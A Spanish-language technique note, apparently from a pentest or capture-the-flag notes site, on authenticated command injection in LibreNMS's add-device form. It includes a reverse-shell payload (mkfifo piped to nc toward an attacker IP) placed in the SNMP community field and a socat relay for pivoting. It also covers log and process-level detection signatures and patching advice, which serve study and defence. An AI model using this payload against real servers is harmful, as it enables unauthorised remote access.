the_open_door
café
ESEN
← Volver al índice

LibreNMS: add-device RCE

LibreNMS es un sistema de monitorización de red. Varias versiones antiguas son vulnerables a ejecución remota de comandos desde el panel autenticado, en el flujo de añadir un dispositivo. Al dar de alta un host, LibreNMS acaba pasando algún campo controlable (el nombre de comunidad SNMP, el hostname, etc.) a una llamada del sistema sin sanearlo, de modo que se puede inyectar un comando que se ejecuta con el usuario del servicio web.

El requisito previo es estar autenticado; en la práctica se llega ahí por reutilización de credenciales (la misma contraseña que se crackeó para un usuario del sistema suele valer para el panel). Una vez dentro, en la pantalla de alta de dispositivo se coloca el payload en el campo vulnerable, por ejemplo una comunidad SNMP como:

'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> 4422 >/tmp/f) #'

Al validar/pollear el dispositivo, LibreNMS ejecuta ese $(...) y devuelve la reverse shell.

Detalle de red frecuente. Si se ha llegado a LibreNMS pivotando (la máquina no tiene alcance directo a la del atacante), la reverse shell no puede volar directa: se apunta a una máquina intermedia y se reenvía. Un relay con socat en el pivote lo resuelve:

# en el pivote (alcanzable por la víctima): reenvía al atacante
socat TCP-LISTEN:4422,fork TCP:<lhost>:4422
# en el atacante
nc -nlvp 4422

Cómo detectarlo. La firma en el log de acceso es una petición autenticada al alta de dispositivo (ajax_form.php/addhost) con metacaracteres de shell en el campo de comunidad SNMP o hostname ($(, comillas invertidas, ;, |nc, mkfifo): ninguna comunidad SNMP legítima los lleva, y un WAF que inspeccione esos parámetros lo bloquea. La confirmación en el host es el proceso web (o el poller de LibreNMS) lanzando sh/bash/nc como hijo al validar/pollear el dispositivo (auditd/Sysmon for Linux sobre execve con ppid del servicio), seguido de una conexión saliente (directa o vía el relay socat).

Defensa. Actualizar LibreNMS, sanear/parametrizar todo campo que llegue a una llamada del sistema, aplicar el mínimo privilegio al usuario web y no reutilizar contraseñas entre el sistema y las aplicaciones. La shell obtenida suele ser de un usuario de servicio; el siguiente salto suele ser un abuso de sudo.

Máquinas donde se aplica